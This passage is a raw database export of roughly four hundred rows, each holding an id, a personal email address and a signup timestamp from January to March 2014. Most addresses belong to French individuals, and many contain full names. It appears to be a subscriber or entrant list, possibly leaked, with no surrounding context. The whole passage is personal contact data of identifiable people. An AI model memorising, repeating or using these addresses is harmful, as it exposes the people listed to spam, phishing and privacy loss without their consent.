;0 +2027;hfav.mel@wanadoo.fr;2014-01-11 11:47:10; ; ;0 +2028;sabine.mailfert@laposte.net;2014-01-11 12:34:03; ; ;0 +2029;geraldinebourdache@yahoo.fr;2014-01-11 12:37:52; ; ;0 +2030;virginie.rougirel@gmail.com;2014-01-11 13:33:35; ; ;0 +2031;caro753st@gmail.com;2014-01-11 13:47:29; ; ;0 +2032;emiliebazin3@yahoo.fr;2014-01-11 14:55:42; ; ;0 +2033;s.brunoud@yahoo.fr;2014-01-11 15:32:57; ; ;0 +2034;magalielaw@gmail.com;2014-01-11 15:39:51; ; ;0 +2035;faridamo13@gmail.com;2014-01-11 16:09:04; ; ;0 +2036;Sab.ravat@gmail.com;2014-01-11 16:23:16; ; ;0 +2037;c.chapplain@yahoo.fr;2014-01-11 17:03:49; ; ;0 +2038;patrick.peyrou@wanadoo.fr;2014-01-11 17:21:39; ; ;0 +2039;Pharmacie-mercure@wanadoo.fr;2014-01-11 17:23:10; ; ;0 +2040;tatacoranno@hotmail.fr;2014-01-11 17:48:39; ; ;0 +2041;soraya.57@live.fr;2014-01-11 17:54:24; ; ;0 +2042;sandivine@hotmail.fr;2014-01-11 18:23:30; ; ;0 +2043;hyrokkin@aol.com;2014-01-11 18:30:16; ; ;0 +2044;jahya26@hotmail.fr;2014-01-11 19:15:58; ; ;0 +2045;38sylvie.raspail@gmail.com;2014-01-11 19:41:02; ; ;0 +2046;c.quinton6@laposte.net;2014-01-11 20:44:24; ; ;0 +2047;anneriomet@cegetel.net;2014-01-11 20:54:06; ; ;0 +2048;e.verhille.d@gmail.com;2014-01-11 20:54:09; ; ;0 +2049;denisejeu@gmail.com;2014-01-11 21:59:21; ; ;0 +2050;virginiecosse@hotmail.com;2014-01-11 22:22:14; ; ;0 +2051;anna_v54@hotmail.com;2014-01-11 22:27:51; ; ;0 +2052;djouher.benchiha@gmail.com;2014-01-11 23:08:21; ; ;0 +2053;karine.allonneau@hotmail.fr;2014-01-11 23:56:24; ; ;0 +2054;jodanelle@orange.fr;2014-01-12 00:03:32; ; ;0 +2055;jennievivemoi@gmail.com;2014-01-12 08:38:36; ; ;0 +2056;nicollexis@gmx.fr;2014-01-12 08:48:29; ; ;0 +2057;gerard.achilli@orange.fr;2014-01-12 08:58:59; ; ;0 +2058;momokajy@gmail.com;2014-01-12 09:06:30; ; ;0 +2059;lawcarolineco13@gmail.com;2014-01-12 09:38:49; ; ;0 +2060;goldcurdon@hotmail.fr;2014-01-12 09:51:16; ; ;0 +2061;marseilleblonde@gmx.fr;2014-01-12 10:18:05; ; ;0 +2062;neweco13@gmail.com;2014-01-12 11:39:52; ; ;0 +2063;maistreni@gmail.com;2014-01-12 12:21:09; ; ;0 +2064;noemiefantasyelfe@hotmail.fr;2014-01-12 13:06:00; ; ;0 +2065;aoki34dan@gmail.com;2014-01-12 13:24:47; ; ;0 +2066;oberlin@gmx.fr;2014-01-12 13:39:46; ; ;0 +2067;charloteroy@gmail.com;2014-01-12 14:02:57; ; ;0 +2068;cindyjeu28@gmail.com;2014-01-12 14:18:56; ; ;0 +2069;anakinsaky@yahoo.fr;2014-01-12 14:50:27; ; ;0 +2070;electro_fantics@hotmail.fr;2014-01-12 15:14:06; ; ;0 +2071;j.rais@laposte.net;2014-01-12 16:59:47; ; ;0 +2072;lydieg56@hotmail.fr;2014-01-12 17:49:54; ; ;0 +2073;nadine.quiles@wanadoo.fr;2014-01-12 18:22:05; ; ;0 +2074;jordanne13360@gmail.com;2014-01-12 19:13:43; ; ;0 +2075;charlotterhub-1@yahoo.com;2014-01-12 19:36:30; ; ;0 +2076;carmen31600@gmail.com;2014-01-12 19:37:57; ; ;0 +2077;redkara@gmx.fr;2014-01-12 19:46:12; ; ;0 +2078;anne.kiecken@bbox.fr;2014-01-12 19:54:33; ; ;0 +2079;pelvis2301@gmail.com;2014-01-12 20:02:39; ; ;0 +2080;mathi3412@gmail.com;2014-01-12 20:15:44; ; ;0 +2081;katia.rethoret@gmail.com;2014-01-12 23:06:30; ; ;0 +2082;marjorie34250palavas@gmail.com;2014-01-12 23:33:17; ; ;0 +2083;herve.boulain@sfr.fr;2014-01-12 23:34:00; ; ;0 +2084;alternativenow@gmx.fr;2014-01-12 23:52:10; ; ;0 +2085;gaelle21@gmx.fr;2014-01-13 00:18:11; ; ;0 +2086;sarah-love-de-lui@live.be;2014-01-13 00:19:34; ; ;0 +2087;lucie13005@gmx.fr;2014-01-13 00:33:19; ; ;0 +2088;vbalaval@gmx.fr;2014-01-13 09:49:50; ; ;0 +2089;flan08@gmx.fr;2014-01-13 10:02:48; ; ;0 +2090;famillevara@sfr.fr;2014-01-13 10:23:53; ; ;0 +2091;sakurastrike@hotmail.fr;2014-01-13 10:27:34; ; ;0 +2092;franck7513@gmail.com;2014-01-13 10:38:49; ; ;0 +2093;musa_pensosa@libero.it;2014-01-13 10:48:44; ; ;0 +2094;dominique_schroeyens@yahoo.fr;2014-01-13 10:55:31; ; ;0 +2095;fouadben130@gmail.com;2014-01-13 11:05:37; ; ;0 +2096;elisasol@hotmail.fr;2014-01-13 11:12:22; ; ;0 +2097;mathildeseigner@voila.fr;2014-01-13 11:20:30; ; ;0 +2098;olivadodiana@voila.fr;2014-01-13 11:41:51; ; ;0 +2099;devousamoinbm@gmail.com;2014-01-13 11:58:11; ; ;0 +2100;albertdino@voila.fr;2014-01-13 14:12:48; ; ;0 +2101;valgiraud@gmail.com;2014-01-13 14:29:32; ; ;0 +2102;severine.laithier@gmail.com;2014-01-13 14:52:43; ; ;0 +2103;emmafontenelle@voila.fr;2014-01-13 15:02:40; ; ;0 +2104;aperrier@live.fr;2014-01-13 15:30:26; ; ;0 +2105;cclouzeau@gmail.com;2014-01-13 15:46:06; ; ;0 +2106;dimuymichel@voila.fr;2014-01-13 15:53:04; ; ;0 +2107;mushubou75@gmail.com;2014-01-13 16:35:10; ; ;0 +2108;iowa_tour83@hotmail.com;2014-01-13 17:36:53; ; ;0 +2109;gaellepati@gmail.com;2014-01-13 17:55:41; ; ;0 +2110;daphnefougeroux@aol.com;2014-01-13 18:48:36; ; ;0 +2111;jeancaponeparis@gmail.com;2014-01-13 20:05:46; ; ;0 +2112;stitch23fr@gmail.com;2014-01-13 20:30:49; ; ;0 +2113;aurelie75013@live.fr;2014-01-13 20:55:11; ; ;0 +2114;marialo13003@yahoo.fr;2014-01-13 21:24:12; ; ;0 +2115;jackie75016@hotmail.fr;2014-01-13 21:53:59; ; ;0 +2116;stephane75mai@live.fr;2014-01-13 22:13:53; ; ;0 +2117;anais13jeu@gmail.com;2014-01-13 22:40:35; ; ;0 +2118;lefiloubea@orange.fr;2014-01-14 09:13:37; ; ;0 +2119;louise@vittori.org;2014-01-14 13:11:08; ; ;0 +2120;lisanic.ip@gmail.com;2014-01-14 14:07:10; ; ;0 +2121;dally_sivan@yahoo.fr;2014-01-14 17:15:38; ; ;0 +2122;emilieamidala@hotmail.com;2014-01-14 19:43:26; ; ;0 +2123;n.launay@me.com;2014-01-14 21:25:04; ; ;0 +2124;mariolle.danielle@orange.fr;2014-01-14 22:23:01; ; ;0 +2125;dl.deleam@wanadoo.fr;2014-01-14 23:59:12; ; ;0 +2126;edwige.derer@sfr.fr;2014-01-15 05:14:58; ; ;0 +2127;nathhallot@gmail.com;2014-01-15 09:17:31; ; ;0 +2128;camdevillartay@gmail.com;2014-01-15 10:47:28; ; ;0 +2129;aphrodite2a@hotmail.fr;2014-01-15 10:59:22; ; ;0 +2130;speyruch@hotmail.com;2014-01-15 11:15:29; ; ;0 +2131;pinoo540@gmail.com;2014-01-15 11:46:55; ; ;0 +2132;delphineladam@gmail.com;2014-01-15 12:16:10; ; ;0 +2133;capucinelefebvre@live.fr;2014-01-15 13:52:09; ; ;0 +2134;ccilegilbert@gmail.com;2014-01-15 15:34:35; ; ;0 +2135;mc.chevillot@gmail.com;2014-01-15 16:24:25; ; ;0 +2136;elisedepuytorac@hotmail.fr;2014-01-15 19:04:40; ; ;0 +2137;edith.richet@yahoo.fr;2014-01-15 19:35:00; ; ;0 +2138;jennimassy@hotmail.com;2014-01-15 20:08:02; ; ;0 +2139;lutine.62@hotmail.fr;2014-01-15 20:36:02; ; ;0 +2140;sandra.le-pors@hotmail.fr;2014-01-15 20:45:58; ; ;0 +2141;franmani77@gmail.com;2014-01-15 20:48:50; ; ;0 +2142;matabio@hotmail.fr;2014-01-15 21:00:38; ; ;0 +2143;mlvento@sfr.fr;2014-01-15 21:10:33; ; ;0 +2144;nathalie.petitbouchon.delage@gmail.com;2014-01-16 10:57:49; ; ;0 +2146;isabelle.maroit@skynet.be;2014-01-16 15:00:42; ; ;0 +2147;jakschiknoelle@gmail.com;2014-01-16 21:38:01; ; ;0 +2148;natnanouleandre@gmail.com;2014-01-16 21:41:00; ; ;0 +2149;sandyroucairol@yahoo.fr;2014-01-16 23:13:31; ; ;0 +2150;kim.allouche@gmail.com;2014-01-16 23:21:18; ; ;0 +2151;valoulemaitre@gmail.com;2014-01-17 10:42:41; ; ;0 +2152;pharmadudevois@orange.fr;2014-01-17 11:56:45; ; ;0 +2153;cecile-marie@hotmail.fr;2014-01-17 12:11:22; ; ;0 +2154;marion.floutier@gmail.com;2014-01-17 12:53:06; ; ;0 +2155;stefania.benedetto@orange.fr;2014-01-17 15:56:06; ; ;0 +2156;lucileramadier@voila.fr;2014-01-17 16:18:49; ; ;0 +2158;alexxia_n@hotmail.fr;2014-01-17 22:28:08; ; ;0 +2159;maela.sacchi@alice.it;2014-01-18 04:13:14; ; ;0 +2160;chauveau.francine@orange.fr;2014-01-18 15:18:05; ; ;0 +2161;jacqueline.maury31@orange.fr;2014-01-18 15:26:52; ; ;0 +2162;hsariak@hotmail.com;2014-01-18 16:49:34; ; ;0 +2163;malay.nong@yahoo.com;2014-01-18 17:57:27; ; ;0 +2164;giselejoub@hotmail.fr;2014-01-18 19:05:49; ; ;0 +2165;cocodiali@yahoo.fr;2014-01-18 20:04:44; ; ;0 +2167;sandrine.carter@gmail.com;2014-01-19 10:25:19; ; ;0 +2168;pipso@hotmail.fr;2014-01-19 12:54:03; ; ;0 +2169;claireguidet@yahoo.fr;2014-01-19 13:12:56; ; ;0 +2170;theo2804@hotmail.fr;2014-01-19 13:13:03; ; ;0 +2171;vanninadron@yahoo.fr;2014-01-19 13:37:27; ; ;0 +2172;ferte.katia@free.fr;2014-01-19 14:46:47; ; ;0 +2173;cherykatoune@live.fr;2014-01-19 16:38:23; ; ;0 +2174;ch-dubois@hotmail.com;2014-01-19 18:23:26; ; ;0 +2175;dany.basuyaux@orange.fr;2014-01-19 19:10:23; ; ;0 +2176;ev.salauze@gmail.com;2014-01-19 20:43:47; ; ;0 +2177;fredcedrocher@aliceadsl.fr;2014-01-19 21:45:03; ; ;0 +2178;laetngu@yahoo.com;2014-01-19 22:15:01; ; ;0 +2179;c.vanoost@hotmail.fr;2014-01-19 22:25:04; ; ;0 +2180;celia.giannuzzi@yahoo.fr;2014-01-19 22:35:49; ; ;0 +2182;sreboud@demosthene-france.fr;2014-01-20 10:32:19; ; ;0 +2183;lou.bauquel@free.fr;2014-01-20 12:19:00; ; ;0 +2184;carole0034@hotmail.fr;2014-01-20 14:22:29; ; ;0 +2185;cailloux.valerie@neuf.fr;2014-01-20 20:36:07; ; ;0 +2186;alexane@kaviaari.com;2014-01-21 12:04:51; ; ;0 +2187;aurelie.boure@gmail.com;2014-01-21 12:21:24; ; ;0 +2188;gielmaelji@gmail.com;2014-01-21 12:53:31; ; ;0 +2189;christineyannick38@free.fr;2014-01-21 13:31:58; ; ;0 +2190;janick.bigeard@wanadoo.fr;2014-01-21 16:15:21; ; ;0 +2191;Dkat69@hotmail.fr;2014-01-21 18:24:45; ; ;0 +2192;corinne.froissart@free.fr;2014-01-21 18:29:11; ; ;0 +2193;valentine.lozachmeur@gmail.com;2014-01-21 18:35:43; ; ;0 +2194;edwige46000@hotmail.fr;2014-01-22 11:07:55; ; ;0 +2195;soleil_trompeur@hotmail.com;2014-01-23 09:56:22; ; ;0 +2196;ad.consulting.paris@gmail.com;2014-01-23 17:37:17; ; ;0 +2198;mariannelabardin@gmail.com;2014-01-24 11:20:33; ; ;0 +2199;castellani.marie@gmail.com;2014-01-25 18:32:56; ; ;0 +2200;argonaute.lauves@wanadoo.fr;2014-01-25 18:44:55; ; ;0 +2201;elleka@gmail.com;2014-01-26 16:21:44; ; ;0 +2202;deliziadromain@wanadoo.fr;2014-01-26 18:56:32; ; ;0 +2203;sovanara1@hotmail.fr;2014-01-26 23:14:31; ; ;0 +2204;vanessam47@yahoo.fr;2014-01-27 12:44:58; ; ;0 +2205;brigittesuter@me.com;2014-01-27 19:30:29; ; ;0 +2206;ratus25080@wanadoo.fr;2014-01-27 21:49:28; ; ;0 +2207;carine.ginesty@gmail.com;2014-01-27 22:10:03; ; ;0 +2208;sylvie.richardniez@gmail.com;2014-01-28 12:59:26; ; ;0 +2209;famille.kruja@orange.fr;2014-01-28 19:42:15; ; ;0 +2210;cha03@live.fr;2014-01-29 15:59:41; ; ;0 +2211;sophie.dapsens@lexel.fr;2014-01-29 17:29:57; ; ;0 +2212;cunternaehrer@pharmamedica.ch;2014-01-30 15:27:48; ; ;0 +2213;secretariat@mw-telecom.fr;2014-01-31 11:07:30; ; ;0 +2215;maureen0917@gmail.com;2014-01-31 21:09:13; ; ;0 +2216;cathy.flayol@wanadoo.fr;2014-02-01 15:06:55; ; ;0 +2217;jacqueline.chataignier@bbox.fr;2014-02-02 09:18:29; ; ;0 +2218;kalliopie@live.fr;2014-02-02 10:32:22; ; ;0 +2219;sifilau@gmail.com;2014-02-02 10:35:43; ; ;0 +2220;sicotophelie@orange.fr;2014-02-02 15:20:53; ; ;0 +2221;vieiraisabel@gmail.com;2014-02-04 13:32:18; ; ;0 +2222;bscom@free.fr;2014-02-04 18:11:34; ; ;0 +2223;fabienne.olivier59@free.fr;2014-02-05 18:52:39; ; ;0 +2224;veronique_blin@orange.fr;2014-02-06 09:03:37; ; ;0 +2225;poissonrouge2006@yahoo.fr;2014-02-06 12:53:32; ; ;0 +2226;nbrun71@googlemail.com;2014-02-06 21:28:28; ; ;0 +2227;d.nicollet@free.fr;2014-02-07 13:19:50; ; ;0 +2228;annemarie.spiry@leprogres.fr;2014-02-07 15:26:18; ; ;0 +2229;alicegiroud@yahoo.fr;2014-02-07 17:41:03; ; ;0 +2230;rousseleaufamily@gmail.com;2014-02-08 09:13:44; ; ;0 +2232;qsdfgh@gmail.xdfgh;2014-02-08 09:16:00; ; ;0 +2233;desmet.murielle@hotmail.fr;2014-02-08 14:39:15; ; ;0 +2234;larcinagnes@hotmail.com;2014-02-08 15:06:22; ; ;0 +2235;tina.huynh@live.fr;2014-02-08 16:40:38; ; ;0 +2236;danielle.robert@yahoo.fr;2014-02-08 19:09:58; ; ;0 +2237;angekosmic@libertysurf.fr;2014-02-08 23:32:17; ; ;0 +2239;caumette@gmail.com;2014-02-09 12:36:54; ; ;0 +2240;manuelacuccu@yahoo.fr;2014-02-09 15:09:49; ; ;0 +2241;avioleau7@orange.fr;2014-02-09 17:11:50; ; ;0 +2242;elodie.lgall@gmail.com;2014-02-10 13:33:16; ; ;0 +2243;beautestagiaire@gmail.com;2014-02-10 13:33:39; ; ;0 +2244;stephanie.foin@1000mercis.com;2014-02-10 20:58:30; ; ;0 +2246;allixloa@live.fr;2014-02-11 14:15:26; ; ;0 +2247;chery@robertclergerie.com;2014-02-11 15:12:52; ; ;0 +2248;elisa-chirol@hotmail.fr;2014-02-11 18:56:40; ; ;0 +2249;julie.koehrer@hotmail.fr;2014-02-11 19:04:34; ; ;0 +2250;michel.urbano@laposte.net;2014-02-12 09:45:58; ; ;0 +2251;annejuliebost@gmail.com;2014-02-12 10:55:56; ; ;0 +2252;mageisha2502@gmail.com;2014-02-12 11:14:13; ; ;0 +2253;barbara.nelson@hotmail.fr;2014-02-12 11:28:51; ; ;0 +2254;fannyhermez@hotmail.com;2014-02-12 12:27:18; ; ;0 +2255;perrot_carole@hotmail.fr;2014-02-12 14:00:28; ; ;0 +2256;virginiechol91@yahoo.fr;2014-02-12 16:20:45; ; ;0 +2257;guillaume.pinel@neuf.fr;2014-02-12 20:27:08; ; ;0 +2258;fabrice.bollore@orange.fr;2014-02-12 21:29:46; ; ;0 +2259;cathyplacette@yahoo.fr;2014-02-13 12:01:08; ; ;0 +2260;corinnepetit69@aol.fr;2014-02-13 15:36:57; ; ;0 +2261;hecate59@hotmail.fr;2014-02-13 20:41:23; ; ;0 +2262;matt035@hotmail.fr;2014-02-14 08:41:59; ; ;0 +2263;aau@vitalya.fr;2014-02-14 13:52:54; ; ;0 +2264;marie@french-spirit.com;2014-02-14 15:06:53; ; ;0 +2265;godier.linda@orange.fr;2014-02-14 22:58:28; ; ;0 +2266;ferrero.chantal@live.fr;2014-02-15 15:22:21; ; ;0 +2267;marlene.heinrich@orange.fr;2014-02-15 17:50:27; ; ;0 +2268;devee@hotmail.fr;2014-02-15 23:12:10; ; ;0 +2269;ecussonneau@wanadoo.fr;2014-02-16 09:40:44; ; ;0 +2270;venezia38@hotmail.fr;2014-02-16 19:19:00; ; ;0 +2271;carole.vignon@laposte.net;2014-02-16 21:33:14; ; ;0 +2272;maylis04@hotmail.fr;2014-02-18 09:41:56; ; ;0 +2273;mesandona@demosthene-france.fr;2014-02-18 14:33:19; ; ;0 +2274;labrut.valerie@live.fr;2014-02-18 14:36:59; ; ;0 +2275;silviamatarazzo@gmail.com;2014-02-18 16:35:05; ; ;0 +2276;hundssyd@aol.com;2014-02-18 22:49:03; ; ;0 +2277;mimie_dan@hotmail.com;2014-02-19 08:18:56; ; ;0 +2279;cheryl.hermann@lexel.fr;2014-02-19 09:09:11; ; ;0 +2280;jthevenet@casema.nl;2014-02-19 11:55:36; ; ;0 +2281;anne-laure.vavon@laposte.net;2014-02-19 13:04:09; ; ;0 +2282;severine.portes@hotmail.fr;2014-02-19 20:18:25; ; ;0 +2283;cochise05@hotmail.FR;2014-02-19 21:36:07; ; ;0 +2284;isabelle.orsonneau@gmail.com;2014-02-19 21:50:13; ; ;0 +2285;lucette.doizon@free.fr;2014-02-20 10:06:04; ; ;0 +2286;janepr63@gmail.com;2014-02-20 12:23:00; ; ;0 +2287;michel-danielle.leceuve@orange.fr;2014-02-20 16:13:00; ; ;0 +2288;carmen.musy@orange.fr;2014-02-20 16:57:03; ; ;0 +2289;desjardins.david@sfr.fr;2014-02-20 18:53:26; ; ;0 +2290;clara15908@live.fr;2014-02-20 23:25:17; ; ;0 +2291;danielle.battaglia@orange.fr;2014-02-21 00:13:19; ; ;0 +2292;hazielcc@sfr.fr;2014-02-21 07:23:54; ; ;0 +2293;Emmanuelle.porcher@sfr.fr;2014-02-22 13:57:54; ; ;0 +2294;ypuig@wanadoo.fr;2014-02-22 17:16:15; ; ;0 +2295;sophie.froissart71@gmail.com;2014-02-23 11:12:09; ; ;0 +2296;castaldo-inspection@hotmail.fr;2014-02-24 18:44:07; ; ;0 +2298;marinamarcos66@gmail.com;2014-02-25 06:55:53; ; ;0 +2299;florence@laboratoireprevost.com;2014-02-25 15:11:34; ; ;0 +2300;modkamoya@yahoo.fr;2014-02-26 16:24:49; ; ;0 +2301;blondin_isabelle@orange.fr;2014-02-26 17:03:34; ; ;0 +2302;nachroger@gmail.com;2014-02-26 18:02:30; ; ;0 +2303;stephclem66@gmail.com;2014-02-27 09:33:51; ; ;0 +2304;pdegastines@gmail.com;2014-02-27 12:07:19; ; ;0 +2305;m.constantinou@mail.com;2014-02-27 12:08:10; ; ;0 +2306;barreau.cath@gmail.com;2014-02-27 13:19:57; ; ;0 +2307;mela30@hotmail.fr;2014-02-27 16:22:11; ; ;0 +2308;claudie.jouineau@gmail.com;2014-02-27 16:22:26; ; ;0 +2309;fabienne@ab1-info.fr;2014-02-27 18:00:34; ; ;0 +2310;saint-chinian@ab1-info.fr;2014-02-27 18:00:44; ; ;0 +2311;anna.perez.mager@orange.fr;2014-02-28 13:10:15; ; ;0 +2312;lola@rom.fr;2014-02-28 17:23:24; ; ;0 +2313;fabi.beaupied@gmail.com;2014-03-02 11:27:09; ; ;0 +2314;sylvie.soinard@sfr.fr;2014-03-05 10:43:45; ; ;0 +2315;lola.lucchini@hotmail.fr;2014-03-05 11:43:04; ; ;0 +2316;sylviefauveau39@gmail.com;2014-03-05 14:02:59; ; ;0 +2317;co_dream@live.fr;2014-03-06 15:24:12; ; ;0 +2318;robyn.carter@hotmail.fr;2014-03-06 15:34:00; ; ;0 +2319;anne-marye3@outlook.fr;2014-03-06 17:56:28; ; ;0 +2320;speed-limit@live.fr;2014-03-06 18:30:11; ; ;0 +2321;solene_ack@hotmail.com;2014-03-06 18:36:27; ; ;0 +2322;arthur.grankoff@gmail.com;2014-03-06 19:55:15; ; ;0 +2323;cha_cha_cha@hotmail.fr;2014-03-06 20:33:55; ; ;0 +2324;flavie.castres@gmail.com;2014-03-06 22:40:46; ; ;0 +2325;delphine.fernandes@hotmail.fr;2014-03-07 13:33:33; ; ;0 +2326;ilz08@live.fr;2014-03-07 14:47:38; ; ;0 +2327;letiroiracuriosites@gmail.com;2014-03-07 17:07:44; ; ;0 +2328;celine.dhalluin@yahoo.fr;2014-03-07 17:31:39; ; ;0 +2329;nathaliefuret@sfr.fr;2014-03-07 18:14:49; ; ;0 +2330;fiona.covarelli@yahoo.com;2014-03-07 18:49:22; ; ;0 +2331;aure189@hotmail.fr;2014-03-07 18:59:39; ; ;0 +2332;valerie.bouchermollet@laposte.net;2014-03-07 19:06:25; ; ;0 +2333;tomlalie@yahoo.fr;2014-03-07 19:19:35; ; ;0 +2334;valentine033@hotmail.fr;2014-03-07 19:32:03; ; ;0 +2335;mireille.sabatier1@gmail.com;2014-03-07 19:51:47; ; ;0 +2336;burgersherlock@yahoo.fr;2014-03-07 19:59:39; ; ;0 +2337;clemence.cosnefroy@hotmail.fr;2014-03-07 21:10:23; ; ;0 +2338;harmonie.tonnellier@laposte.net;2014-03-07 21:40:26; ; ;0 +2339;floki62@hotmail.fr;2014-03-07 22:20:15; ; ;0 +2340;alouxalex@yahoo.fr;2014-03-07 23:31:24; ; ;0 +2341;skylee95@hotmail.com;2014-03-08 00:21:48; ; ;0 +2342;lara.belzacki@live.fr;2014-03-08 00:40:37; ; ;0 +2343;sophie_dos_reis@me.com;2014-03-08 01:34:44; ; ;0 +2344;joselia.toussaint@gmail.com;2014-03-08 07:55:25; ; ;0 +2345;spionnier@yahoo.com;2014-03-08 08:11:49; ; ;0 +2346;vigneron.alexandrine@yahoo.com;2014-03-08 08:41:57; ; ;0 +2347;keeysha@hotmail.com;2014-03-08 09:35:22; ; ;0 +2348;romane.60b@gmail.com;2014-03-08 10:28:49; ; ;0 +2349;vunha-thi.tranvanba@espeme.com;2014-03-08 11:20:12; ; ;0 +2350;loliflash@aol.com;2014-03-08 11:23:44; ; ;0 +2351;christelle.bouchet@wanadoo.fr;2014-03-08 11:33:48; ; ;0 +2352;mary515@hotmail.fr;2014-03-08 12:41:11; ; ;0 +2353;littlesarah78@hotmail.fr;2014-03-08 12:51:05; ; ;0 +2354;marylin.moalic@hotmail.fr;2014-03-08 14:08:10; ; ;0 +2356;benedicteboulineau@gmail.com;2014-03-08 16:19:28; ; ;0 +2357;viado@hotmail.fr;2014-03-08 16:59:50; ; ;0 +2358;liliana.mpl@gmail.com;2014-03-08 17:43:00; ; ;0 +2359;elise.bruillon@wanadoo.fr;2014-03-08 20:36:19; ; ;0 +2360;marieclaire.le.bris@gmail.com;2014-03-08 21:05:10; ; ;0 +2362;princessecarine@hotmail.com;2014-03-08 22:01:51; ; ;0 +2363;v.fontanills@hotmail.fr;2014-03-08 22:15:32; ; ;0 +2364;Marion_billaud@yahoo.fr;2014-03-08 22:31:03; ; ;0 +2365;elisebiet@sfr.fr;2014-03-08 23:05:48; ; ;0 +2366;laurence_spirlet@hotmail.com;2014-03-08 23:54:12; ; ;0 +2367;morgane.baldi@free.fr;2014-03-09 09:40:35; ; ;0 +2368;pauline-lemay@live.fr;2014-03-09 09:46:27; ; ;0 +2370;vampire86@laposte.net;2014-03-09 11:26:28; ; ;0 +2371;issy_8@hotmail.fr;2014-03-09 11:48:27; ; ;0 +2372;do1002@live.fr;2014-03-09 14:22:00; ; ;0 +2373;alexandrine.k@free.fr;2014-03-09 14:24:55; ; ;0 +2374;pauline.michelet@live.fr;2014-03-09 16:10:48; ; ;0 +2375;claire.triquet@gmail.com;2014-03-09 16:36:24; ; ;0 +2376;camille.heit@gmail.com;2014-03-09 18:04:28; ; ;0 +2377;fabienne57280@hotmail.fr;2014-03-09 21:21:04; ; ;0 +2378;Zarzina@hotmail.fr;2014-03-09 21:46:51; ; ;0 +2379;pascaline.guerard@laposte.net;2014-03-09 21:51:18; ; ;0 +2380;stahl.veronique@gmail.com;2014-03-09 21:55:47; ; ;0 +2381;jennifer_antier@hotmail.com;2014-03-09 22:10:59; ; ;0 +2382;melouille37@hotmail.com;2014-03-10 09:58:18; ; ;0 +2383;laetitias.amatdrabos@laposte.net;2014-03-10 10:10:06; ; ;0 +2384;eloudiie07@hotmail.fr;2014-03-10 10:19:09; ; ;0 +2385;inesfougani@gmail.com;2014-03-10 12:08:24; ; ;0 +2386;natallegre@laposte.net;2014-03-10 12:21:49; ; ;0 +2387;enora.ledantec@hotmail.fr;2014-03-10 12:46:52; ; ;0 +2388;ti.papillon83@yahoo.fr;2014-03-10 13:18:58; ; ;0 +2389;ameaume.ma@orange.fr;2014-03-10 14:18:22; ; ;0 +2390;anais810.guibert@laposte.net;2014-03-10 14:33:27; ; ;0 +2391;roselyneroussetj@free.fr;2014-03-10 14:58:00; ; ;0 +2392;mc.lamalle@gmail.com;2014-03-10 15:04:54; ; ;0 +2393;anne-marielaurent@sfr.fr;2014-03-10 15:05:05; ; ;0 +2394;wencke.w.gruner@wanadoo.fr;2014-03-10 15:05:17; ; ;0 +2395;celiarognon@hotmail.fr;2014-03-10 15:06:08; ; ;0 +2396;charlene.desclerc@gmail.com;2014-03-10 16:38:19; ; ;0 +2397;wicia60@gmail.com;2014-03-10 17:44:08; ; ;0 +2398;Meriem.maya@sfr.fr;2014-03-10 18:09:01; ; ;0 +2399;marie302@gmail.com;2014-03-10 18:10:37; ; ;0 +2400;veroniquedailloux@msn.com;2014-03-10 18:11:39; ; ;0 +2401;myriam.monti720@voila.fr;2014-03-10 18:31:36; ; ;0 +2402;emmajcl@hotmail.com;2014-03-10 18:37:16; ; ;0 +2403;fouf.romei@yahoo.fr;2014-03-10 18:50:56; ; ;0 +2404;sloiseau@bluewin.ch;2014-03-10 19:47:49; ; ;0 +2405;gmollaret@gmail.com;2014-03-10 19:48:01; ; ;0 +2406;convertini_ch@hotmail.com;2014-03-10 19:49:15; ; ;0 +2407;zarahgharram@gmail.com;2014-03-10 20:07:20; ; ;0 +2408;ginathalie@hotmail.fr;2014-03-10 20:09:14; ; ;0 +2409;marjorie.tourteau@gmail.com;2014-03-10 20:12:40; ; ;0 +2410;emeline.b@live.fr;2014-03-10 20:16:06; ; ;0 +2412;mcbrutin@hotmail.fr;2014-03-10 20:31:13; ; ;0 +2413;patriciaeltze@hotmail.fr;2014-03-10 20:50:47; ; ;0 +2415;anaischicard@gmail.com;2014-03-10 21:26:07; ; ;0 +2416;mcd44@live.fr;2014-03-10 21:28:46; ; ;0 +2419;edlau30@orange.fr;2014-03-10 22:03:40; ; ;0 +2420;anneolivie@msn.com;2014-03-10 22:10:42; ; ;0 +2421;ethanoufera@free.fr;2014-03-10 22:26:50; ; ;0 +2422;princesslibellule@hotmail.fr;2014-03-10 22:33:31; ; ;0 +2423;morenitadu73@hotmail.fr;2014-03-10 22:35:26; ; ;0 +2424;claudine.paranthoen@yahoo.fr;2014-03-10 22:51:00; ; ;0 +2425;delxoxo08@gmail.com;2014-03-10 23:55:45; ; ;0 +2426;nathalie.esteve974@orange.fr;2014-03-11 03:31:56; ; ;0 +2427;catcanivet@yahoo.fr;2014-03-11 08:37:51; ; ;0 +2428;lucie.guillon@gmail.com;2014-03-11 09:04:15; ; ;0 +2429;sn.tre@orange.fr;2014-03-11 09:28:00; ; ;0 +2430;celia6384@hotmail.com;2014-03-11 09:29:19; ; ;0 +2431;samiazaoui@yahoo.com;2014-03-11 09:49:56; ; ;0 +2432;theangelmaycry@hotmail.fr;2014-03-11 10:36:33; ; ;0 +2433;christellesuz.colin@laposte.net;2014-03-11 10:41:30; ; ;0 +2434;mdulcecsilva@sapo.pt;2014-03-11 10:51:37; ; ;0 +2435;fanny_64_7@msn.com;2014-03-11 10:57:26; ; ;0 +2436;yanou601@gmail.com;2014-03-11 10:57:50; ; ;0 +2437;ericduhayon@neuf.fr;2014-03-11 10:58:14; ; ;0 +2438;mylene.marin@live.fr;2014-03-11 10:59:34; ; ;0 +2439;agathe.laville2@orange.fr;2014-03-11 10:59:35; ; ;0 +2440;nelly.iglesias33@orange.fr;2014-03-11 10:59:37; ; ;0 +2441;melanie.brouard@gmail.com;2014-03-11 10:59:40; ; ;0 +2442;arwenne33@numericable.fr;2014-03-11 11:00:54; ; ;0 +2443;jean-pierre.renaud5@orange.fr;2014-03-11 11:01:11; ; ;0 +2444;laurent.bottcher@sfr.fr;2014-03-11 11:02:12; ; ;0 +2445;elisabeth.guinot@gmail.com;2014-03-11 11:03:46; ; ;0 +2446;verodora@sfr.fr;2014-03-11 11:03:59; ; ;0 +2447;anned14@hotmail.fr;2014-03-11 11:06:25; ; ;0 +2448;luciegallais@free.fr;2014-03-11 11:06:39; ; ;0 +2449;tamlinne@yahoo.fr;2014-03-11 11:06:49; ; ;0 +2450;latina89400@hotmail.fr;2014-03-11 11:07:06; ; ;0 